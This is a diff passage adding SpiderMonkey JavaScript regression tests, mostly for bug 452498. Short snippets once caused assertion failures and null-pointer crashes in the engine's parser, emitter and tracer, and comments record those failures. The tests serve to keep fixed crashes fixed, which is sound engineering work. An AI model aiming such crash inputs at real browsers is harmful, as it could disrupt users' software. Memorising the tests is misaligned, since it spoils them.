+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #104 From Jesse Ruderman
+
+ (function(a) { function b() { a; } function a() { } })();
+// Assertion failure: pn_defn, at ../jsparse.h:655
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-111.js b/js/src/tests/non262/regress/regress-452498-111.js
new file mode 100644
index 0000000000..558ad018fa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-111.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #111 From Gary Kwong [:nth10sd]
+
+new Function("{function x(){}}");
+
+// Assertion failure: pn->pn_defn || (fun->flags & JSFUN_LAMBDA), at ../jsemit.cpp:4149
+
+ reportCompare(expect, actual, summary);
+}
+
+
diff --git a/js/src/tests/non262/regress/regress-452498-112.js b/js/src/tests/non262/regress/regress-452498-112.js
new file mode 100644
index 0000000000..1d45cba317
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-112.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #112 From Jesse Ruderman
+
+ expect = 'ReferenceError: can\'t access lexical declaration \'q\' before initialization';
+
+ try
+ {
+ q = new Function("(function() { q(3); })(); const q = undefined;"); q();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-114-a.js b/js/src/tests/non262/regress/regress-452498-114-a.js
new file mode 100644
index 0000000000..c3a2f0340e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-114-a.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #114 From Gary Kwong [:nth10sd]
+
+ if (typeof timeout == 'function')
+ {
+ timeout(3);
+ try
+ {
+ eval('while(x|={}) with({}) const x;');
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, '');
+ }
+
+// Assertion failure: cg->stackDepth >= 0, at ../jsemit.cpp:185
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-114.js b/js/src/tests/non262/regress/regress-452498-114.js
new file mode 100644
index 0000000000..99e62e0c83
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-114.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #114 From Gary Kwong [:nth10sd]
+
+ for (var x = 0; x < 3; ++x){ y = function (){} }
+
+// glorp!
+// Assertion failed: "Constantly false guard detected": 0 (../nanojit/LIR.cpp:999)
+// (note, this is with -j; I don't know what the glorp! message is about.)
+
+// =====
+ function y([{x: x, y}]){}
+
+// Assertion failure: UPVAR_FRAME_SKIP(pn->pn_cookie) == (pn->pn_defn ? cg->staticLevel : 0), at ../jsemit.cpp:3547
+
+// =====
+
+ try
+ {
+ eval("(1.3.__defineGetter__(\"\"));let (y, x) { var z = true, x = 0; }");
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: ATOM_IS_STRING(atom), at ../jsinterp.cpp:5691
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-116.js b/js/src/tests/non262/regress/regress-452498-116.js
new file mode 100644
index 0000000000..e77d65208b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-116.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #116 From Gary Kwong [:nth10sd]
+
+// -j
+ (new Function("for (var x = 0; x < 3; ++x) { (function(){})() } "))();
+
+//Crash [@ js_IsActiveWithOrBlock]
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-117.js b/js/src/tests/non262/regress/regress-452498-117.js
new file mode 100644
index 0000000000..b933da02b6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-117.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #117 From Gary Kwong [:nth10sd]
+
+// The following all do not require -j.
+
+// =====
+
+ try
+ {
+ eval('x; function x(){}; const x = undefined;');
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: !pn->isPlaceholder(), at ../jsparse.cpp:4876
+// =====
+ (function(){ var x; eval("var x; x = null"); })();
+
+// Assertion failure: !(pnu->pn_dflags & PND_BOUND), at ../jsemit.cpp:1818
+// =====
+ (function(){const x = 0, y = delete x;})()
+
+// Assertion failure: n != 0, at ../jsfun.cpp:2689
+// =====
+ try
+ {
+ eval('(function(){{for(c in (function (){ for(x in (x1))window} )()) {const x = undefined;} }})();');
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: (fun->u.i.script)->upvarsOffset != 0, at ../jsfun.cpp:1537
+// Opt crash [@ js_NewFlatClosure] near null
+// =====
+ "" + function(){for(var [x] in x1) ([]); function x(){}}
+
+// Assertion failure: cg->stackDepth == stackDepth, at ../jsemit.cpp:3664
+// Opt crash [@ JS_ArenaRealloc] near null
+// =====
+ try
+ {
+ eval(
+ "for (a in (function(){" +
+ " for (let x of ['']) { return new function x1 (\u3056) { yield x } ();" +
+ " }})())" +
+ " function(){}"
+ );
+ }
+ catch(ex)
+ {
+ }
+// Crash [@ js_Interpret] near null
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-118.js b/js/src/tests/non262/regress/regress-452498-118.js
new file mode 100644
index 0000000000..ac6ac88a9a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-118.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #118 From Jesse Ruderman
+
+ (function() { (function() { e *= 4; })(); var e; })();
+
+//Without patch: no output
+//With patch: ReferenceError: reference to undefined property "e"
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-121.js b/js/src/tests/non262/regress/regress-452498-121.js
new file mode 100644
index 0000000000..d5e942a75e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-121.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #121 From Gary Kwong [:nth10sd]
+
+// without -j
+ x = function() { return x; };
+
+// Assertion failure: !(pn->pn_dflags & flag), at ../jsparse.h:651
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-123.js b/js/src/tests/non262/regress/regress-452498-123.js
new file mode 100644
index 0000000000..f68e64836d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-123.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+// ------- Comment #123 From Gary Kwong [:nth10sd]
+
+// Does not require -j:
+// =====
+ try
+ {
+ eval('y = (function (){y} for (x in []);');
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: !(pn->pn_dflags & flag), at ../jsparse.h:651
+// =====
+ (function(){for(var x in [arguments]){} function x(){}})();
+
+// Assertion failure: dn->pn_defn, at ../jsemit.cpp:1873
+// =====
+
+
+// Requires -j:
+// =====
+ (function(){ eval("for (x in ['', {}, '', {}]) { this; }" )})();
+
+// Assertion failure: fp->thisp == fp->argv[-1].toObjectOrNull(), at ../jstracer.cpp:4172
+// =====
+ for (let x of ['', '', '']) { (new function(){} )}
+
+// Assertion failure: scope->object == ctor, at ../jsbuiltins.cpp:236
+// Opt crash [@ js_FastNewObject] near null
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-129.js b/js/src/tests/non262/regress/regress-452498-129.js
new file mode 100644
index 0000000000..455b11392e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-129.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #129 From Gary Kwong [:nth10sd]
+
+// Does not require -j:
+// =====
+try {
+ eval("({ set x x () { for(x in function(){}){}} })");
+} catch (e)
+{
+}
+
+// Assertion failure: JOF_OPTYPE(op) == JOF_ATOM, at ../jsemit.cpp:1710
+// =====
+
+try
+{
+ (function (){ eval("(function(){delete !function(){}});"); })();
+}
+catch(ex)
+{
+}
+// Debug crash [@ JSParseNode::isFunArg] at null
+// Opt crash [@ FindFunArgs] near null
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-131.js b/js/src/tests/non262/regress/regress-452498-131.js
new file mode 100644
index 0000000000..4787f26dcf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-131.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #131 From Gary Kwong [:nth10sd]
+
+// Does not require -j:
+// =====
+ try
+ {
+ eval('((__defineGetter__, function (x) { function x(){} }) for');
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: pn->pn_cookie == FREE_UPVAR_COOKIE, at ../jsparse.cpp:5698
+// =====
+ try
+ {
+ eval('( "" ? 1.3 : x); *::*; x::x;');
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: pn != dn->dn_uses, at ../jsparse.cpp:1171
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-135.js b/js/src/tests/non262/regress/regress-452498-135.js
new file mode 100644
index 0000000000..591d2fab91
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-135.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #135 From Gary Kwong [:nth10sd]
+
+// -j is not required:
+// ===
+
+ for (let i = 0; i < 9; ++i) {
+ let m = i;
+ if (i % 3 == 1) {
+ print('' + (function() { return m; })());
+ }
+ }
+
+// Debug & opt crash [@ BindNameToSlot]
+
+// -j is required:
+// ===
+ for (let a=0;a<3;++a) for (let b=0;b<3;++b) if ((g=a|(a%b))) with({}){}
+
+// Assertion failure: OBJ_IS_CLONED_BLOCK(obj), at ../jsobj.cpp:2392
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-155.js b/js/src/tests/non262/regress/regress-452498-155.js
new file mode 100644
index 0000000000..d259ff5059
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-155.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ delete (1 ? window : function(){});
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-160.js b/js/src/tests/non262/regress/regress-452498-160.js
new file mode 100644
index 0000000000..8035002fad
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-160.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #160 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: JOF_OPTYPE(op) == JOF_ATOM, at ../jsemit.cpp:5916
+ ({ set z(v){}, set y(v) { return --x; }, set w(v) { return --w; } });
+ reportCompare(expect, actual, summary + ': 3');
+}
diff --git a/js/src/tests/non262/regress/regress-452498-168-1.js b/js/src/tests/non262/regress/regress-452498-168-1.js
new file mode 100644
index 0000000000..0b1c492933
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-168-1.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #168 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: (fun->u.i.script)->upvarsOffset != 0, at ../jsfun.cpp:1543
+
+ (
+ new Function("const x = (function () { if (1e+81){} else{x} } )"
+ ))();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-168-2.js b/js/src/tests/non262/regress/regress-452498-168-2.js
new file mode 100644
index 0000000000..c3f150300a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-168-2.js
@@ -0,0 +1,29 @@
+// |reftest| skip -- slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #168 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: cg->upvars.lookup(atom), at ../jsemit.cpp:2047
+
+ for (let x; __defineSetter__; (<{x}></{x}> for (x in x))) {}
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-176.js b/js/src/tests/non262/regress/regress-452498-176.js
new file mode 100644
index 0000000000..a370592adf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-176.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #176 From Gary Kwong
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Assertion failure: pn_arity == PN_FUNC || pn_arity == PN_NAME, at ../jsparse.h:449
+
+ if(delete( 5 ? [] : (function(){})() )) [];
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-181.js b/js/src/tests/non262/regress/regress-452498-181.js
new file mode 100644
index 0000000000..9e69dcd14c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-181.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #181 From Jesse Ruderman
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 3;
+
+ (function(print) { delete print; })(); print(actual = 3);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-185.js b/js/src/tests/non262/regress/regress-452498-185.js
new file mode 100644
index 0000000000..0c0d2a33c2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-185.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #185 From Jesse Ruderman
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: redeclaration of var e';
+ try
+ {
+ eval('{ var e = 3; let e = ""; } print(typeof e);');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-187.js b/js/src/tests/non262/regress/regress-452498-187.js
new file mode 100644
index 0000000000..dd04f1f899
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-187.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #187 From Jesse Ruderman
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('const x = undefined; for (x in []);');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-191.js b/js/src/tests/non262/regress/regress-452498-191.js
new file mode 100644
index 0000000000..20b9bdadc9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-191.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #191 From Brendan Eich
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Error';
+ try
+ {
+ eval('{ var x; {let x;} }');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ expect = 'SyntaxError: redeclaration of let x';
+ try
+ {
+ eval('{ let x; {var x;} }');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452498-192.js b/js/src/tests/non262/regress/regress-452498-192.js
new file mode 100644
index 0000000000..c3f534e08a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452498-192.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+//------- Comment #192 From Brendan Eich
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ let x;
+ with({x: (x -= 0)}){([]); const x = undefined; }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452573-01.js b/js/src/tests/non262/regress/regress-452573-01.js
new file mode 100644
index 0000000000..6192939433
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452573-01.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452573;
+var summary = 'Do not assert with JIT: boxed.isUndefined() || boxed.isBoolean()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for(var j=0;j<5;++j) typeof void /x/;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452573-02.js b/js/src/tests/non262/regress/regress-452573-02.js
new file mode 100644
index 0000000000..b765f3c179
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452573-02.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452573;
+var summary = 'Do not assert with JIT: "(((rmask(rr) & FpRegs) != 0))"';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for(var j=0;j<5;++j) typeof void 1;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-452703.js b/js/src/tests/non262/regress/regress-452703.js
new file mode 100644
index 0000000000..e86f2625fa
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452703.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452703;
+var summary = 'Do not assert with JIT: rmask(rr)&FpRegs';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+(function() { for(let y in [0,1,2,3,4]) y = NaN; })();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-452713.js b/js/src/tests/non262/regress/regress-452713.js
new file mode 100644
index 0000000000..754394f548
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-452713.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
